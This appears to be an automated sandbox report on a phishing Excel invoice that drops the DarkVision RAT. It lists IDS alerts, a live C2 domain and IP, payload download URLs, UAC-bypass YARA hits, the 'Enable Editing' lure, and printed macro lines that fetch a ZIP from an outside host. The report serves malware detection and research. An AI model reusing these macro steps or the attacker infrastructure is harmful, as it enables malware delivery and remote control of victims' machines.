Source: Network traffic	Suricata IDS: 2045619 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M3 : 192.168.2.4:49765 -> 84.38.129.34:3369
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:49759 -> 84.38.129.34:3369
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:49768 -> 84.38.129.34:3369
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:49760 -> 84.38.129.34:3369
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:49763 -> 84.38.129.34:3369
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:49747 -> 84.38.129.34:3369
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:49769 -> 84.38.129.34:3369
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:49761 -> 84.38.129.34:3369
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:49746 -> 84.38.129.34:3369
Source: Network traffic	Suricata IDS: 2045619 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M3 : 192.168.2.4:49752 -> 84.38.129.34:3369
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:49748 -> 84.38.129.34:3369
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:49773 -> 84.38.129.34:3369
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:49775 -> 84.38.129.34:3369
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:49754 -> 84.38.129.34:3369
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:49774 -> 84.38.129.34:3369
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:49776 -> 84.38.129.34:3369
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:49781 -> 84.38.129.34:3369
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:49762 -> 84.38.129.34:3369
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:49784 -> 84.38.129.34:3369
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:49779 -> 84.38.129.34:3369
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:49771 -> 84.38.129.34:3369
Source: Network traffic	Suricata IDS: 2045619 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M3 : 192.168.2.4:49771 -> 84.38.129.34:3369
Source: Network traffic	Suricata IDS: 2045619 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M3 : 192.168.2.4:49746 -> 84.38.129.34:3369
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:49777 -> 84.38.129.34:3369
Source: Network traffic	Suricata IDS: 2045619 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M3 : 192.168.2.4:49777 -> 84.38.129.34:3369
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:49741 -> 84.38.129.34:3369
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:49778 -> 84.38.129.34:3369
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:49782 -> 84.38.129.34:3369
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:49783 -> 84.38.129.34:3369
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:49772 -> 84.38.129.34:3369
Source: Network traffic	Suricata IDS: 2045619 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M3 : 192.168.2.4:49740 -> 84.38.129.34:3369
Source: Network traffic	Suricata IDS: 2045619 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M3 : 192.168.2.4:49783 -> 84.38.129.34:3369
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:49742 -> 84.38.129.34:3369
Source: Network traffic	Suricata IDS: 2045619 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M3 : 192.168.2.4:49730 -> 84.38.129.34:3369
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:49780 -> 84.38.129.34:3369
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:49767 -> 84.38.129.34:3369

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: myasyncrat.ddns.net

Uses dynamic DNS services

Source: unknown

DNS query: name: myasyncrat.ddns.net

Source: global traffic

TCP traffic: 192.168.2.4:49730 -> 84.38.129.34:3369

Source: Joe Sandbox View	IP Address: 149.137.128.16 149.137.128.16
Source: Joe Sandbox View	IP Address: 13.107.246.60 13.107.246.60

Source: Joe Sandbox View

ASN Name: DATACLUB-NL DATACLUB-NL

Source: Joe Sandbox View	JA3 fingerprint: 6271f898ce5be7dd52b0fc260d0662b3
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49737 -> 13.107.246.60:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49739 -> 13.107.246.60:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49738 -> 13.107.246.60:443

Source: global traffic

HTTP traffic detected: GET /file/mdocument/PO202502DAKE.zip HTTP/1.1Accept: */*Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: f004.backblazeb2.comConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe

Code function: 16_2_0000000140024D00 recv,

16_2_0000000140024D00

Source: global traffic	HTTP traffic detected: GET /file/mdocument/PO202502DAKE.zip HTTP/1.1Accept: /Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: f004.backblazeb2.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/excel.exe-Production-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro)Host: otelrules.svc.static.microsoft

Source: global traffic	DNS traffic detected: DNS query: f004.backblazeb2.com
Source: global traffic	DNS traffic detected: DNS query: myasyncrat.ddns.net
Source: global traffic	DNS traffic detected: DNS query: otelrules.svc.static.microsoft

Source: 7z.exe, 00000009.00000003.1298204632.0000018569650000.00000004.00000800.00020000.00000000.sdmp, PO202502DAKE.exe, 0000000C.00000002.1316165651.00000273D2C02000.00000004.00001000.00020000.00000000.sdmp, PO202502DAKE.exe.12.dr, PO202502DAKE.exe.9.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: 7z.exe, 00000009.00000003.1298204632.0000018569650000.00000004.00000800.00020000.00000000.sdmp, PO202502DAKE.exe, 0000000C.00000002.1316165651.00000273D2C02000.00000004.00001000.00020000.00000000.sdmp, PO202502DAKE.exe.12.dr, PO202502DAKE.exe.9.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: 7z.exe, 00000009.00000003.1298204632.0000018569650000.00000004.00000800.00020000.00000000.sdmp, PO202502DAKE.exe, 0000000C.00000002.1316165651.00000273D2C02000.00000004.00001000.00020000.00000000.sdmp, PO202502DAKE.exe.12.dr, PO202502DAKE.exe.9.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: 7z.exe, 00000009.00000003.1298204632.0000018569650000.00000004.00000800.00020000.00000000.sdmp, PO202502DAKE.exe, 0000000C.00000002.1316165651.00000273D2C02000.00000004.00001000.00020000.00000000.sdmp, PO202502DAKE.exe.12.dr, PO202502DAKE.exe.9.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: 7z.exe, 00000009.00000003.1298204632.0000018569650000.00000004.00000800.00020000.00000000.sdmp, PO202502DAKE.exe, 0000000C.00000002.1316165651.00000273D2C02000.00000004.00001000.00020000.00000000.sdmp, PO202502DAKE.exe.12.dr, PO202502DAKE.exe.9.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: 7z.exe, 00000009.00000003.1298204632.0000018569650000.00000004.00000800.00020000.00000000.sdmp, PO202502DAKE.exe, 0000000C.00000002.1316165651.00000273D2C02000.00000004.00001000.00020000.00000000.sdmp, PO202502DAKE.exe.12.dr, PO202502DAKE.exe.9.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: 7z.exe, 00000009.00000003.1298204632.0000018569650000.00000004.00000800.00020000.00000000.sdmp, PO202502DAKE.exe, 0000000C.00000002.1316165651.00000273D2C02000.00000004.00001000.00020000.00000000.sdmp, PO202502DAKE.exe.12.dr, PO202502DAKE.exe.9.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: PO202502DAKE.exe.9.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: 7z.exe, 00000009.00000003.1298204632.0000018569650000.00000004.00000800.00020000.00000000.sdmp, PO202502DAKE.exe, 0000000C.00000002.1316165651.00000273D2C02000.00000004.00001000.00020000.00000000.sdmp, PO202502DAKE.exe.12.dr, PO202502DAKE.exe.9.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: powershell.exe, 0000000E.00000002.1379798537.00000260DE7D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: 7z.exe, 00000009.00000003.1298204632.0000018569650000.00000004.00000800.00020000.00000000.sdmp, PO202502DAKE.exe, 0000000C.00000002.1316165651.00000273D2C02000.00000004.00001000.00020000.00000000.sdmp, PO202502DAKE.exe.12.dr, PO202502DAKE.exe.9.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: 7z.exe, 00000009.00000003.1298204632.0000018569650000.00000004.00000800.00020000.00000000.sdmp, PO202502DAKE.exe, 0000000C.00000002.1316165651.00000273D2C02000.00000004.00001000.00020000.00000000.sdmp, PO202502DAKE.exe.12.dr, PO202502DAKE.exe.9.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: 7z.exe, 00000009.00000003.1298204632.0000018569650000.00000004.00000800.00020000.00000000.sdmp, PO202502DAKE.exe, 0000000C.00000002.1316165651.00000273D2C02000.00000004.00001000.00020000.00000000.sdmp, PO202502DAKE.exe.12.dr, PO202502DAKE.exe.9.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: 7z.exe, 00000009.00000003.1298204632.0000018569650000.00000004.00000800.00020000.00000000.sdmp, PO202502DAKE.exe, 0000000C.00000002.1316165651.00000273D2C02000.00000004.00001000.00020000.00000000.sdmp, PO202502DAKE.exe.12.dr, PO202502DAKE.exe.9.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: powershell.exe, 0000000E.00000002.1354321953.00000260CE988000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 0000000E.00000002.1354321953.00000260CE988000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 0000000E.00000002.1354321953.00000260CE761000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 0000000E.00000002.1354321953.00000260CE988000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 0000000E.00000002.1354321953.00000260CE988000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: 7z.exe, 00000009.00000003.1298204632.0000018569650000.00000004.00000800.00020000.00000000.sdmp, PO202502DAKE.exe, 0000000C.00000002.1316165651.00000273D2C02000.00000004.00001000.00020000.00000000.sdmp, PO202502DAKE.exe.12.dr, PO202502DAKE.exe.9.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: PO202502DAKE.exe, 0000000C.00000002.1317182210.00007FFC9D073000.00000004.00000001.01000000.00000008.sdmp, PO202502DAKE.exe, 0000000C.00000002.1316889044.00007FFC9CE2B000.00000004.00000001.01000000.00000009.sdmp, PO202502DAKE.exe, 0000000C.00000002.1317099796.00007FFC9CFCB000.00000002.00000001.01000000.00000008.sdmp, PO202502DAKE.exe, 0000000C.00000002.1316763168.00007FFC9CD8C000.00000002.00000001.01000000.00000009.sdmp, PO202502DAKE.exe, 0000001C.00000002.1455966611.00007FFC9CFC3000.00000004.00000001.01000000.0000000F.sdmp, PO202502DAKE.exe, 0000001C.00000002.1454603061.00007FFC9CCDC000.00000002.00000001.01000000.00000010.sdmp, PO202502DAKE.exe, 0000001C.00000002.1454840473.00007FFC9CD7B000.00000004.00000001.01000000.00000010.sdmp, PO202502DAKE.exe, 0000001C.00000002.1455259639.00007FFC9CF1B000.00000002.00000001.01000000.0000000F.sdmp, PO202502DAKE.exe, 00000021.00000002.1538038684.00007FFC9CFCB000.00000002.00000001.01000000.0000000F.sdmp, PO202502DAKE.exe, 00000021.00000002.1537704018.00007FFC9CD8C000.00000002.00000001.01000000.00000010.sdmp, PO202502DAKE.exe, 00000021.00000002.1537822596.00007FFC9CE2B000.00000004.00000001.01000000.00000010.sdmp, PO202502DAKE.exe, 00000021.00000002.1538126610.00007FFC9D073000.00000004.00000001.01000000.0000000F.sdmp, libcares-2.dll.12.dr, libcares-2.dll.9.dr, msvcp290.dll.9.dr, msvcp290.dll.12.dr	String found in binary or memory: https://aka.ms/GlobalizationInvariantMode
Source: PO202502DAKE.exe, 0000000C.00000002.1317182210.00007FFC9D073000.00000004.00000001.01000000.00000008.sdmp, PO202502DAKE.exe, 0000000C.00000002.1316889044.00007FFC9CE2B000.00000004.00000001.01000000.00000009.sdmp, PO202502DAKE.exe, 0000000C.00000002.1317099796.00007FFC9CFCB000.00000002.00000001.01000000.00000008.sdmp, PO202502DAKE.exe, 0000000C.00000002.1316763168.00007FFC9CD8C000.00000002.00000001.01000000.00000009.sdmp, PO202502DAKE.exe, 0000001C.00000002.1455966611.00007FFC9CFC3000.00000004.00000001.01000000.0000000F.sdmp, PO202502DAKE.exe, 0000001C.00000002.1454603061.00007FFC9CCDC000.00000002.00000001.01000000.00000010.sdmp, PO202502DAKE.exe, 0000001C.00000002.1454840473.00007FFC9CD7B000.00000004.00000001.01000000.00000010.sdmp, PO202502DAKE.exe, 0000001C.00000002.1455259639.00007FFC9CF1B000.00000002.00000001.01000000.0000000F.sdmp, PO202502DAKE.exe, 00000021.00000002.1538038684.00007FFC9CFCB000.00000002.00000001.01000000.0000000F.sdmp, PO202502DAKE.exe, 00000021.00000002.1537704018.00007FFC9CD8C000.00000002.00000001.01000000.00000010.sdmp, PO202502DAKE.exe, 00000021.00000002.1537822596.00007FFC9CE2B000.00000004.00000001.01000000.00000010.sdmp, PO202502DAKE.exe, 00000021.00000002.1538126610.00007FFC9D073000.00000004.00000001.01000000.0000000F.sdmp, libcares-2.dll.12.dr, libcares-2.dll.9.dr, msvcp290.dll.9.dr, msvcp290.dll.12.dr	String found in binary or memory: https://aka.ms/dotnet-warnings/
Source: PO202502DAKE.exe, 00000021.00000002.1537822596.00007FFC9CE2B000.00000004.00000001.01000000.00000010.sdmp	String found in binary or memory: https://aka.ms/nativeaot-compatibility
Source: PO202502DAKE.exe, 00000021.00000002.1538126610.00007FFC9D073000.00000004.00000001.01000000.0000000F.sdmp	String found in binary or memory: https://aka.ms/nativeaot-compatibility0
Source: PO202502DAKE.exe, 0000000C.00000002.1317099796.00007FFC9CFCB000.00000002.00000001.01000000.00000008.sdmp, PO202502DAKE.exe, 0000000C.00000002.1316763168.00007FFC9CD8C000.00000002.00000001.01000000.00000009.sdmp, PO202502DAKE.exe, 0000001C.00000002.1454603061.00007FFC9CCDC000.00000002.00000001.01000000.00000010.sdmp, PO202502DAKE.exe, 0000001C.00000002.1455259639.00007FFC9CF1B000.00000002.00000001.01000000.0000000F.sdmp, PO202502DAKE.exe, 00000021.00000002.1538038684.00007FFC9CFCB000.00000002.00000001.01000000.0000000F.sdmp, PO202502DAKE.exe, 00000021.00000002.1537704018.00007FFC9CD8C000.00000002.00000001.01000000.00000010.sdmp, libcares-2.dll.12.dr, libcares-2.dll.9.dr, msvcp290.dll.9.dr, msvcp290.dll.12.dr	String found in binary or memory: https://aka.ms/nativeaot-compatibilityY
Source: PO202502DAKE.exe, 0000000C.00000002.1317099796.00007FFC9CFCB000.00000002.00000001.01000000.00000008.sdmp, PO202502DAKE.exe, 0000000C.00000002.1316763168.00007FFC9CD8C000.00000002.00000001.01000000.00000009.sdmp, PO202502DAKE.exe, 0000001C.00000002.1454603061.00007FFC9CCDC000.00000002.00000001.01000000.00000010.sdmp, PO202502DAKE.exe, 0000001C.00000002.1455259639.00007FFC9CF1B000.00000002.00000001.01000000.0000000F.sdmp, PO202502DAKE.exe, 00000021.00000002.1538038684.00007FFC9CFCB000.00000002.00000001.01000000.0000000F.sdmp, PO202502DAKE.exe, 00000021.00000002.1537704018.00007FFC9CD8C000.00000002.00000001.01000000.00000010.sdmp, libcares-2.dll.12.dr, libcares-2.dll.9.dr, msvcp290.dll.9.dr, msvcp290.dll.12.dr	String found in binary or memory: https://aka.ms/nativeaot-compatibilityy
Source: powershell.exe, 0000000E.00000002.1354321953.00000260CE761000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 0000000E.00000002.1379798537.00000260DE7D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000000E.00000002.1379798537.00000260DE7D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000000E.00000002.1379798537.00000260DE7D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: vbaProject.bin	String found in binary or memory: https://f004.backblazeb2.com/f
Source: vbaProject.bin	String found in binary or memory: https://f004.backblazeb2.com/file/mdocument/PO202502DAKE.zip
Source: vbaProject.bin	String found in binary or memory: https://f004.backblazeb2.com/file/mdocument/PO202502SNAKWS.zip
Source: powershell.exe, 0000000E.00000002.1354321953.00000260CE988000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 0000000E.00000002.1379798537.00000260DE7D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: vbaProject.bin	String found in binary or memory: https://tursiian.com/7z.txt
Source: ~DFE94CD9633EB51867.TMP.0.dr, vbaProject.bin	String found in binary or memory: https://tursiian.com/7z.txt$

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443

Source: unknown	HTTPS traffic detected: 149.137.128.16:443 -> 192.168.2.4:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.4:49737 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 33.2.PO202502DAKE.exe.21bc50716a0.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 16.2.aspnet_wp.exe.140000000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 28.2.PO202502DAKE.exe.1ff210716a0.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 12.2.PO202502DAKE.exe.2333c8716a0.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 12.2.PO202502DAKE.exe.2333c8716a0.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 35.2.aspnet_wp.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 35.2.aspnet_wp.exe.140000000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 33.2.PO202502DAKE.exe.21bc50716a0.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 30.2.aspnet_wp.exe.140000000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 30.2.aspnet_wp.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 28.2.PO202502DAKE.exe.1ff210716a0.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 16.2.aspnet_wp.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 0000001E.00000002.1451318237.0000000140000000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 00000023.00000002.1536508110.0000000140000000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 00000010.00000002.6605477392.0000000140000000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Source: screenshot

OCR: Enable Editing Required 10 11 12 Please click 'Enable Editing' to allow the Invoice Viewer to functi

Document contains an embedded VBA macro with suspicious strings

Source: PO202503D.xlsm	OLE, VBA macro line: Set shell = CreateObject("WScript.Shell")
Source: PO202503D.xlsm	OLE, VBA macro line: Open Environ("TEMP") & "\invoice_log.txt" For Append As #fileNum
Source: PO202503D.xlsm	OLE, VBA macro line: Set shell = CreateObject("WScript.Shell")
Source: PO202503D.xlsm	OLE, VBA macro line: currentPath = shell.Environment("PROCESS")("PATH")
Source: PO202503D.xlsm	OLE, VBA macro line: shell.Environment("PROCESS")("PATH") = folder & ";" & currentPath
Source: PO202503D.xlsm	OLE, VBA macro line: temp = Environ("TEMP") & "\invoice_temp\"
Source: VBA code instrumentation	OLE, VBA macro: Module Module2, Function ExecuteFile, String wscript: Set shell = CreateObject("WScript.Shell")	Name: ExecuteFile
Source: VBA code instrumentation	OLE, VBA macro: Module Module2, Function LogMessage, String environ: Open Environ("TEMP") & "\invoice_log.txt" For Append As # fileNum	Name: LogMessage
Source: VBA code instrumentation	OLE, VBA macro: Module Module2, Function AddToPath, String wscript: Set shell = CreateObject("WScript.Shell")	Name: AddToPath
Source: VBA code instrumentation	OLE, VBA macro: Module Module2, Function AddToPath, String environ: currentPath = shell.Environment("PROCESS")("PATH")	Name: AddToPath
Source: VBA code instrumentation	OLE, VBA macro: Module Module2, Function AddToPath, String environ: shell.Environment("PROCESS")("PATH") = folder & ";" & currentPath	Name: AddToPath
Source: VBA code instrumentation	OLE, VBA macro: Module Module2, Function ViewInvoiceOnline, String environ: temp = Environ("TEMP") & "\invoice_temp\"	Name: ViewInvoiceOnline

Document contains an embedded VBA with functions possibly related to ADO stream file operations

Source: PO202503D.xlsm	Stream path 'VBA/Module2' : found possibly 'ADODB.Stream' functions open, read, write
Source: VBA code instrumentation	OLE, VBA macro: Module Module2, Function WriteBinaryFile, API ADODB.Stream.Open("C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.zip")	Name: WriteBinaryFile
Source: VBA code instrumentation	OLE, VBA macro: Module Module2, Function DownloadFile, API IServerXMLHTTPRequest2.Open("GET","https://f004.backblazeb2.com/file/mdocument/PO202502DAKE.zip",False)	Name: DownloadFile
Source: VBA code instrumentation	OLE, VBA macro: Module Module2, Function LogMessage, API ADODB.Stream.Open("C:\Users\user\AppData\Local\Temp\invoice_log.txt")	Name: LogMessage

Document contains an embedded VBA with functions possibly related to HTTP operations

Source: PO202503D.xlsm	Stream path 'VBA/Module2' : found possibly 'XMLHttpRequest' functions response, responsebody, responsetext, status, open, send
Source: VBA code instrumentation	OLE, VBA macro: Module Module2, Function DownloadFile, found possibly 'XMLHttpRequest' functions response, responsebody, status, open, send	Name: DownloadFile
Source: VBA code instrumentation	OLE, VBA macro: Module Module2, Function DownloadTextFile, found possibly 'XMLHttpRequest' functions response, responsetext, status, open, send	Name: DownloadTextFile

Document contains an embedded VBA with functions possibly related to WSH operations (process, registry, environment, or keystrokes)

Source: PO202503D.xlsm

Stream path 'VBA/Module2' : found possibly 'WScript.Shell' functions currentdirectory, environment, exec, run, environ

Office process queries suspicious COM object (likely to drop second stage)

